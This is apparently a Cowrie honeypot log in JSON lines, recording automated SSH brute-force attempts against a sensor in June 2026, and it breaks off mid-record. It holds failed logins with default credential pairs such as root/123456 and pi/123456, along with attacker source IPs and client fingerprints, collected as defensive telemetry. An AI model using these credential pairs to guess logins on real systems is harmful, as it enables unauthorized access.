{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:53.768808Z","src_ip":"91.92.40.171","session":"cc4fb069d1f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:54.141237Z","src_ip":"91.92.40.171","session":"cc4fb069d1f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:55.332387Z","src_ip":"91.92.40.171","session":"cc4fb069d1f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47404,"dst_ip":"159.203.135.109","dst_port":22,"session":"777d69c1635d","protocol":"ssh","message":"New connection: 91.92.42.133:47404 (159.203.135.109:22) [session: 777d69c1635d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:58.068822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:58.342328Z","src_ip":"91.92.42.133","session":"777d69c1635d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:58.346174Z","src_ip":"91.92.42.133","session":"777d69c1635d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":49436,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab8ddc1dcfa9","protocol":"ssh","message":"New connection: 91.92.40.171:49436 (159.203.135.109:22) [session: ab8ddc1dcfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:59.390545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:59.543932Z","src_ip":"91.92.40.171","session":"ab8ddc1dcfa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:59.547336Z","src_ip":"91.92.40.171","session":"ab8ddc1dcfa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:59.558517Z","src_ip":"91.92.42.133","session":"777d69c1635d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"root","message":"login attempt [bot/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:00.495894Z","src_ip":"91.92.40.171","session":"ab8ddc1dcfa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:00.772917Z","src_ip":"91.92.42.133","session":"777d69c1635d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.7109477519989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:01.578722Z","src_ip":"107.6.151.170","session":"4692947bdb2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:01.858915Z","src_ip":"91.92.40.171","session":"ab8ddc1dcfa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42452,"dst_ip":"159.203.135.109","dst_port":22,"session":"a378de10c20a","protocol":"ssh","message":"New connection: 91.92.40.171:42452 (159.203.135.109:22) [session: a378de10c20a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:04.747011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:05.313138Z","src_ip":"91.92.40.171","session":"a378de10c20a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:05.317712Z","src_ip":"91.92.40.171","session":"a378de10c20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52488,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f3e8d0daee4","protocol":"ssh","message":"New connection: 91.92.42.133:52488 (159.203.135.109:22) [session: 7f3e8d0daee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:06.313580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:06.383063Z","src_ip":"91.92.42.133","session":"7f3e8d0daee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:06.428361Z","src_ip":"91.92.42.133","session":"7f3e8d0daee4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:06.709676Z","src_ip":"91.92.40.171","session":"a378de10c20a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:06.855945Z","src_ip":"91.92.42.133","session":"7f3e8d0daee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:07.992546Z","src_ip":"91.92.42.133","session":"7f3e8d0daee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:08.010926Z","src_ip":"91.92.40.171","session":"a378de10c20a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42504,"dst_ip":"159.203.135.109","dst_port":22,"session":"562b04251809","protocol":"ssh","message":"New connection: 91.92.40.171:42504 (159.203.135.109:22) [session: 562b04251809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:11.734665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:11.880435Z","src_ip":"91.92.40.171","session":"562b04251809","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:12.445904Z","src_ip":"91.92.40.171","session":"562b04251809","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52556,"dst_ip":"159.203.135.109","dst_port":22,"session":"a54ae2b384fd","protocol":"ssh","message":"New connection: 91.92.42.133:52556 (159.203.135.109:22) [session: a54ae2b384fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:13.776516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:13.844896Z","src_ip":"91.92.42.133","session":"a54ae2b384fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:13.981026Z","src_ip":"91.92.42.133","session":"a54ae2b384fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Aa123456","message":"login attempt [user/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:14.911485Z","src_ip":"91.92.42.133","session":"a54ae2b384fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc123","message":"login attempt [admin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:15.947538Z","src_ip":"91.92.40.171","session":"562b04251809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:16.349312Z","src_ip":"91.92.42.133","session":"a54ae2b384fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50574,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3994bdd801d","protocol":"ssh","message":"New connection: 91.92.40.171:50574 (159.203.135.109:22) [session: c3994bdd801d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:16.581034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:16.738218Z","src_ip":"91.92.40.171","session":"c3994bdd801d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:16.742118Z","src_ip":"91.92.40.171","session":"c3994bdd801d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"123456","message":"login attempt [pi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:17.513781Z","src_ip":"91.92.40.171","session":"c3994bdd801d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:17.840415Z","src_ip":"91.92.40.171","session":"562b04251809","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:18.637050Z","src_ip":"91.92.40.171","session":"c3994bdd801d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44332,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8d4c3ffd7d6","protocol":"ssh","message":"New connection: 91.92.42.133:44332 (159.203.135.109:22) [session: b8d4c3ffd7d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:21.475707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:04:21.543881Z","src_ip":"91.92.42.133","session":"b8d4c3ffd7d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS